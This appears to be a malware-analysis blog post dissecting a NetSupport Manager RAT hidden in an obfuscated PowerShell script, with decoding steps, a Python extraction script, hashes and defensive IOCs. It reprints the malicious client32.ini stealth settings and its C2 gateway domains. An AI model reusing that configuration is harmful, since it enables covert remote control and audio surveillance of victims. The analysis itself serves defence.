- Malware Analysis
- 11 min · 2,518 words
- published
From Obfuscation to Remote Control: Unpacking a NetSupport Manager RAT Delivery Chain
Comprehensive analysis of a sophisticated malware campaign using legitimate NetSupport Manager software weaponized through malicious configuration and multi-layer obfuscation
on this page
Introduction
In the ever-evolving landscape of cyber threats, attackers are increasingly turning to legitimate software to carry out their malicious activities. This approach, known as "living off the land," makes detection significantly more challenging for security teams. Today, we're diving deep into a sophisticated malware sample that exemplifies this technique: a weaponized NetSupport Manager remote access tool (RAT) embedded within a PowerShell script.
What makes this particular threat fascinating is not just its technical complexity, but how it transforms legitimate enterprise software into a covert surveillance and control platform. Our analysis reveals a multi-layered payload containing a fully functional remote access toolkit configured for stealth operation and persistent access.
The Discovery: A 9.3MB PowerShell Script
Our investigation began with a suspicious PowerShell script file a417f700fd5c8d36a13b2edec341827f6f05bc24f045429225a08a112f140f68 weighing in at 9.3MB. While large PowerShell scripts aren't uncommon in enterprise environments, this size immediately raised red flags.
Initial examination revealed the script contained a massive base64-encoded payload stored in a PowerShell variable:
$WbTArUKAbYsNF = "eyJMb3J0WVg..."The base64 string itself was 1,942,776 characters long - clearly containing something substantial.
Peeling Back the Layers: The Extraction Process
Layer 1: Base64 Decoding
The first layer of obfuscation was straightforward base64 encoding. After decoding, we discovered a 1,457,082 character JSON structure beginning with:
{"LortYX":[...]}Layer 2: The JSON Challenge
Here's where things got interesting. The JSON structure was malformed and truncated, breaking standard parsing libraries. This required developing a custom parser using bracket counting and careful string escape handling:
# Custom JSON parsing approach
start = decoded_str.find('"LortYX":[') + len('"LortYX":[')
bracket_count = 1
pos = start
while pos < len(decoded_str) and bracket_count > 0:
if decoded_str[pos] == '[':
bracket_count += 1
elif decoded_str[pos] == ']':
bracket_count -= 1
pos += 1Layer 3: Component Extraction
The malformed JSON contained four distinct objects, each with the structure:
{
"ChEtRK": "filename",
"vDvTlRCfs": "base64_encoded_file_data"
}This revealed the final payload: four separate files that together form a complete remote access toolkit.
The Arsenal: Detailed Component Analysis
| Component | Size | Purpose | Compilation Date | Key Capabilities |
|---|---|---|---|---|
| client32.exe | 34,288 bytes | Main client launcher | June 10, 2011 | NetSupport client initialization |
| AudioCapture.dll | 93,560 bytes | Audio surveillance | July 31, 2015 | Real-time audio capture |
| HTCTL32.DLL | 328,056 bytes | Command & control | January 6, 2016 | Network communication, HTTP/HTTPS |
| client32.ini | 1,049 bytes | Configuration | N/A | Stealth settings, C2 infrastructure |
1. client32.exe - The Launcher
Technical Analysis:
- Architecture: PE32 (32-bit Windows executable)
- Subsystem: Windows GUI
- Manifest: "NetSupport Client Configurator"
Key Imports:
PCICL32.dll:
- _NSMClient32@8 (Main client initialization)
KERNEL32.dll:
- ExitProcess, GetModuleHandleA
- GetCommandLineA, GetStartupInfoAThis PE32 executable serves as the main entry point. The executable is legitimate NetSupport Manager software, but its configuration makes it malicious. It contains minimal functionality - primarily launching the NetSupport client with the weaponized configuration.
2. AudioCapture.dll - The Surveillance Component
Technical Analysis:
- Architecture: PE32 DLL (32-bit Windows DLL)
- Image Base: 0x12300000
- Debug Symbols:
E:\nsmsrc\nsm\1210\1210\AudioCapture\Release\AudioCapture.pdb
Export Functions:
AddAudioCaptureEventListenerRemoveAudioCaptureEventListener
Key Imports:
KERNEL32.dll:
- Thread management: CreateThread, TerminateThread, SetThreadPriority
- Memory: LocalFree, WaitForSingleObject
- Error handling: GetLastError, RaiseExceptionThis DLL provides comprehensive audio surveillance capabilities through multi-threaded audio capture implementation. The presence of debug symbols provides insight into the development environment and confirms this is genuine NetSupport Manager code, making detection more challenging.
3. HTCTL32.DLL - The Command & Control Engine
Technical Analysis:
- Architecture: PE32 DLL (32-bit Windows DLL)
- Image Base: 0x101B0000
- Security Features: ASLR and DEP enabled
This is the most sophisticated component, handling network communication with 26 different WSOCK32.dll functions for socket management, connection handling, and data transfer.
Network Capabilities:
HTTP Implementation:
- POST http://%s/fakeurl.htm HTTP/1.1
- Connection: Keep-Alive
- http://%s/testpage.htmKey Imports:
WSOCK32.dll (26 functions):
- Socket management and connection handling
- Data transfer operations
WINMM.dll:
- timeBeginPeriod, timeEndPeriod, timeGetTime
KERNEL32.dll:
- Locale/string handling
- IsValidLocale, EnumSystemLocalesA, GetLocaleInfoA4. client32.ini - The Stealth Configuration
The configuration file is where the malicious intent becomes crystal clear. This systematically disables all user interface elements that might alert a victim to the presence of the remote access tool:
Stealth Settings:
[Client]
DisableChat=1
DisableChatMenu=1
DisableClientConnect=1
DisableCloseApps=1
DisableDisconnect=1
DisableLocalInventory=1
DisableManageServices=1
DisableMessage=1
DisableReplayMenu=1
DisableRequestHelp=1
HideWhenIdle=1
silent=1
SysTray=0Command & Control Infrastructure:
[HTTP]
GatewayAddress=deepholeintheworld.com:443
SecondaryGateway=THANKYOUMYKIO.COM:443
Port=443
SecondaryPort=443Security Configuration:
- Gateway Security Key:
GG<DANGA<E@HDMHN=BA[REDACTED] - RADIUS Secret:
dgAAAPSxRohhni4y[REDACTED] - Access Control:
Usernames=*,ValidAddresses.TCP=*(allows connections from anywhere)
The Command & Control Infrastructure
The configuration reveals a sophisticated C2 setup with dual infrastructure for resilience:
Primary C2 Server: deepholeintheworld.com:443
Secondary C2 Server: THANKYOUMYKIO.COM:443
Both servers use port 443 (HTTPS) to blend in with legitimate web traffic, making network detection more challenging. The configuration includes encrypted communication channels and authentication mechanisms designed for professional-grade operational security.
Attack Capabilities and Threat Assessment
| Capability | Description | Risk Level |
|---|---|---|
| Remote Control | Full desktop access and control | High |
| Audio Surveillance | Real-time audio capture and monitoring | High |
| Network Communication | HTTP/HTTPS-based C2 communication | Medium |
| Stealth Operation | Hidden from user interface | High |
| Persistent Access | Configured for continuous operation | High |
This weaponized NetSupport Manager installation provides attackers with comprehensive remote access capabilities while maintaining complete stealth through systematically disabled user interface elements and silent operation mode.
File Hashes and Indicators of Compromise
SHA256 Hashes
| File | SHA256 Hash |
|---|---|
| AudioCapture.dll | a74612ae5234d1a8f1263545400668097f9eb6a01dfb8037bc61ca9cae82c5b8 |
| HTCTL32.DLL | edfe2b923bfb5d1088de1611401f5c35ece91581e71503a5631647ac51f7d796 |
| client32.exe | 973836529b57815903444dd5d4b764e8730986b1bd87179552f249062ee26128 |
| client32.ini | 1975da7b26114e15e362dc146e79ffdd1211111abc03508fab696ddc57f8c088 |
Detection and Defensive Measures
Network Indicators of Compromise
| Indicator | Type | Risk Level |
|---|---|---|
| deepholeintheworld.com:443 | Primary C2 | High |
| THANKYOUMYKIO.COM:443 | Secondary C2 | High |
/fakeurl.htm | HTTP POST endpoint | Medium |
/testpage.htm | HTTP GET endpoint | Medium |
Host-Based Indicators
Process Indicators:
- client32.exe running as service
- DLL injection into system processes
- Network connections to C2 infrastructure
- Audio capture device enumeration
File System Indicators:
- Presence of PCICL32.dll, AudioCapture.dll, or HTCTL32.DLL
- NetSupport Manager configuration files with stealth settings
- Temporary files in system directories
Registry Indicators:
- NetSupport Manager service entries
- Audio capture device access permissions
- Network configuration settings
Defensive Recommendations
Network Security:
- Domain Blocking: Block communication to identified C2 domains
- Traffic Analysis: Monitor for HTTP POST requests to
/fakeurl.htm - SSL/TLS Inspection: Inspect encrypted traffic on port 443
- DNS Monitoring: Watch for suspicious domain resolutions
Host-Based Detection:
- Process Monitoring: Monitor for NetSupport Manager processes
- DLL Monitoring: Watch for PCICL32.dll, AudioCapture.dll, HTCTL32.DLL
- Registry Monitoring: Monitor NetSupport Manager service entries
- File System Monitoring: Watch for client32.exe and related files
Application Control:
- Whitelisting: Implement application whitelisting policies
- Remote Access Tools: Audit all legitimate remote access software
- Configuration Monitoring: Monitor for disabled security features
- Audio Device Access: Monitor applications accessing audio capture
The Bigger Picture: Living Off the Land
This attack exemplifies the "living off the land" technique where attackers use legitimate software for malicious purposes. NetSupport Manager is a legitimate, widely-used remote administration tool in enterprise environments. By weaponizing it through configuration rather than code modification, attackers achieve several advantages:
- Reduced Detection: Security tools are less likely to flag legitimate software
- Functionality: No need to develop custom remote access capabilities
- Persistence: Legitimate software is less likely to be removed
- Trust: Users and administrators may not suspect legitimate software
This approach represents a significant evolution in malware tactics, moving away from custom-developed tools toward the abuse of legitimate enterprise software.
Technical Challenges and Solutions
Our analysis faced several technical hurdles that required innovative solutions:
Challenge 1: Large File Size (9.3MB)
Solution: Streaming and partial reading techniques to handle memory efficiently while processing the massive PowerShell script.
Challenge 2: Malformed JSON Structure
Solution: Custom parser with bracket counting and string escape handling to process the truncated JSON data that broke standard libraries.
Challenge 3: Multi-layer Encoding
Solution: Sequential decoding approach: Base64 → JSON → Base64 → Binary files, requiring careful handling of each layer.
Challenge 4: String Escaping in JSON
Solution: Proper escape sequence handling in custom parser to manage malformed string data.
Challenge 5: Safe Binary Analysis
Solution: Static analysis techniques without code execution in isolated environment to prevent accidental malware activation.
Advanced Analysis Techniques
Custom JSON Parser Implementation
def parse_json_objects(array_content):
"""Parse individual JSON objects from malformed array"""
objects = []
obj_start = 0
brace_count = 0
in_string = False
escape_next = False
for i, char in enumerate(array_content):
if escape_next:
escape_next = False
continue
if char == '\\':
escape_next = True
continue
if char == '"' and not escape_next:
in_string = not in_string
continue
if not in_string:
if char == '{':
if brace_count == 0:
obj_start = i
brace_count += 1
elif char == '}':
brace_count -= 1
if brace_count == 0:
obj_str = array_content[obj_start:i+1]
try:
obj = json.loads(obj_str)
objects.append(obj)
except json.JSONDecodeError:
pass
return objectsPE File Analysis Techniques
The analysis employed multiple techniques for safe binary analysis:
- String extraction for API call identification
- Import table analysis for capability assessment
- Header analysis for compilation timestamps
- Debug symbol extraction for development environment insights
Conclusion
This analysis demonstrates the sophistication of modern malware campaigns that leverage legitimate software for malicious purposes. The multi-layered encoding, professional-grade C2 infrastructure, and comprehensive stealth configuration suggest this is the work of skilled threat actors with deep understanding of both defensive technologies and enterprise software.
Key takeaways from this analysis:
- Professional Implementation: Well-structured multi-component architecture with robust error handling
- Stealth Capabilities: Systematic disabling of user interface elements to maintain covert operation
- Network Resilience: Dual C2 infrastructure with encrypted communication channels
- Legitimate Software Abuse: Strategic use of NetSupport Manager for evasion and persistence
The weaponization of NetSupport Manager highlights the critical importance of monitoring all software in your environment, regardless of its legitimacy. Security teams must adopt a zero-trust approach, carefully monitoring the behavior and configuration of all applications, not just their presence.
As attackers continue to evolve their techniques toward "living off the land" approaches, security professionals must stay ahead by developing advanced detection capabilities that focus on behavior and configuration rather than just signatures. This case study serves as a stark reminder that in cybersecurity, appearances can be deceiving, and even the most legitimate software can be transformed into a sophisticated weapon.
The extraction process required custom parsing techniques due to the malformed JSON structure, highlighting the importance of developing robust analysis tools capable of handling non-standard data formats. This adaptability is crucial for modern malware analysis as threat actors increasingly employ novel obfuscation techniques.
References and Further Reading
- NetSupport Manager Official Documentation
- MITRE ATT&CK: Remote Access Software (T1219)
- Living Off the Land Techniques
- PowerShell Security Best Practices
- PE File Format Analysis
- JSON Parsing Techniques
- Network IOC Analysis
Resources
reverseIt.py - Complete Analysis Script
#!/usr/bin/env python3
import base64
import json
import re
import os
def full_analysis(file_path):
"""Complete analysis and extraction of all components"""
with open(file_path, 'r') as f:
content = f.read()
# Extract the base64 data from the PowerShell variable
pattern = r'"(eyJ[^"]+)"'
matches = re.findall(pattern, content)
if not matches:
print("No base64 payload found")
return None
b64_payload = matches[0]
print(f"Found base64 payload of length: {len(b64_payload)}")
try:
# Decode base64
decoded_bytes = base64.b64decode(b64_payload)
decoded_str = decoded_bytes.decode('utf-8')
print(f"Decoded string length: {len(decoded_str)}")
# Extract the array content
start = decoded_str.find('"LortYX":[') + len('"LortYX":[')
# Find the matching closing bracket
bracket_count = 1
pos = start
while pos < len(decoded_str) and bracket_count > 0:
if decoded_str[pos] == '[':
bracket_count += 1
elif decoded_str[pos] == ']':
bracket_count -= 1
pos += 1
array_content = decoded_str[start:pos-1]
# Parse individual objects
objects = []
obj_start = 0
brace_count = 0
in_string = False
escape_next = False
for i, char in enumerate(array_content):
if escape_next:
escape_next = False
continue
if char == '\\':
escape_next = True
continue
if char == '"' and not escape_next:
in_string = not in_string
continue
if not in_string:
if char == '{':
if brace_count == 0:
obj_start = i
brace_count += 1
elif char == '}':
brace_count -= 1
if brace_count == 0:
obj_str = array_content[obj_start:i+1]
try:
obj = json.loads(obj_str)
objects.append(obj)
except json.JSONDecodeError as e:
print(f"Failed to parse object: {e}")
print(f"\n=== PAYLOAD ANALYSIS ===")
print(f"Found {len(objects)} components in the payload")
# Create output directory
output_dir = "/home/pure/reverse-it/extracted_files"
os.makedirs(output_dir, exist_ok=True)
# Analyze each component
for i, obj in enumerate(objects):
filename = obj.get("ChEtRK", f"component_{i}")
b64_data = obj.get("vDvTlRCfs", "")
print(f"\nComponent {i+1}: {filename}")
print(f" Base64 data length: {len(b64_data)} characters")
if b64_data:
try:
file_bytes = base64.b64decode(b64_data)
print(f" Decoded size: {len(file_bytes)} bytes")
# Save the file
output_path = os.path.join(output_dir, filename)
with open(output_path, 'wb') as f:
f.write(file_bytes)
print(f" Saved to: {output_path}")
# Analyze the file
if file_bytes.startswith(b'MZ'):
print(" File type: Windows PE executable/DLL")
# Get more details about the PE
pe_str = file_bytes.decode('utf-8', errors='ignore')
# Check for interesting API calls
interesting_apis = [
'CreateProcess', 'VirtualAlloc', 'WriteProcessMemory',
'ReadProcessMemory', 'OpenProcess', 'CreateRemoteThread',
'LoadLibrary', 'GetProcAddress', 'WinExec', 'ShellExecute',
'CreateFile', 'WriteFile', 'ReadFile', 'RegSetValue',
'RegOpenKey', 'CryptAcquireContext', 'HttpSendRequest',
'InternetOpen', 'connect', 'send', 'recv'
]
found_apis = []
for api in interesting_apis:
if api.lower() in pe_str.lower():
found_apis.append(api)
if found_apis:
print(f" Suspicious APIs found: {', '.join(found_apis)}")
# Check for strings
if 'kernel32' in pe_str.lower():
print(" → Links to kernel32.dll")
if 'ntdll' in pe_str.lower():
print(" → Links to ntdll.dll")
if 'ws2_32' in pe_str.lower():
print(" → Links to ws2_32.dll (networking)")
if 'wininet' in pe_str.lower():
print(" → Links to wininet.dll (internet)")
elif filename.endswith('.ini'):
print(" File type: Configuration file")
try:
ini_content = file_bytes.decode('utf-8', errors='ignore')
print(f" Content preview: {ini_content[:200]}...")
except:
print(" Could not decode as text")
else:
print(" File type: Unknown binary data")
# Try to detect file type by magic bytes
if file_bytes.startswith(b'\\x7fELF'):
print(" → Detected: ELF executable")
elif file_bytes.startswith(b'PK'):
print(" → Detected: ZIP archive")
elif file_bytes.startswith(b'\\x89PNG'):
print(" → Detected: PNG image")
except Exception as e:
print(f" Error decoding: {e}")
# Generate summary report
report_path = os.path.join(output_dir, "analysis_report.txt")
with open(report_path, 'w') as f:
f.write("PAYLOAD ANALYSIS REPORT\n")
f.write("=" * 50 + "\n\n")
f.write(f"Total components found: {len(objects)}\n\n")
for i, obj in enumerate(objects):
filename = obj.get("ChEtRK", f"component_{i}")
b64_data = obj.get("vDvTlRCfs", "")
f.write(f"Component {i+1}: {filename}\n")
f.write(f" Base64 length: {len(b64_data)} chars\n")
if b64_data:
try:
file_bytes = base64.b64decode(b64_data)
f.write(f" File size: {len(file_bytes)} bytes\n")
if file_bytes.startswith(b'MZ'):
f.write(" Type: Windows PE file\n")
elif filename.endswith('.ini'):
f.write(" Type: Configuration file\n")
else:
f.write(" Type: Unknown binary\n")
except:
f.write(" Error: Could not decode\n")
f.write("\n")
print(f"\n=== SUMMARY ===")
print(f"All files extracted to: {output_dir}")
print(f"Analysis report saved to: {report_path}")
return objects
except Exception as e:
print(f"Error: {e}")
return None
if __name__ == "__main__":
payload_file = 'a417f700fd5c8d36a13b2edec341827f6f05bc24f045429225a08a112f140f68.txt'
result = full_analysis(payload_file)⚠️ Security Warning: All extracted files are malicious and should only be analyzed in secure, isolated environments. Do not execute any of the extracted binaries on production systems.
This analysis was conducted in a controlled environment for research purposes. The techniques described are for educational and defensive purposes only.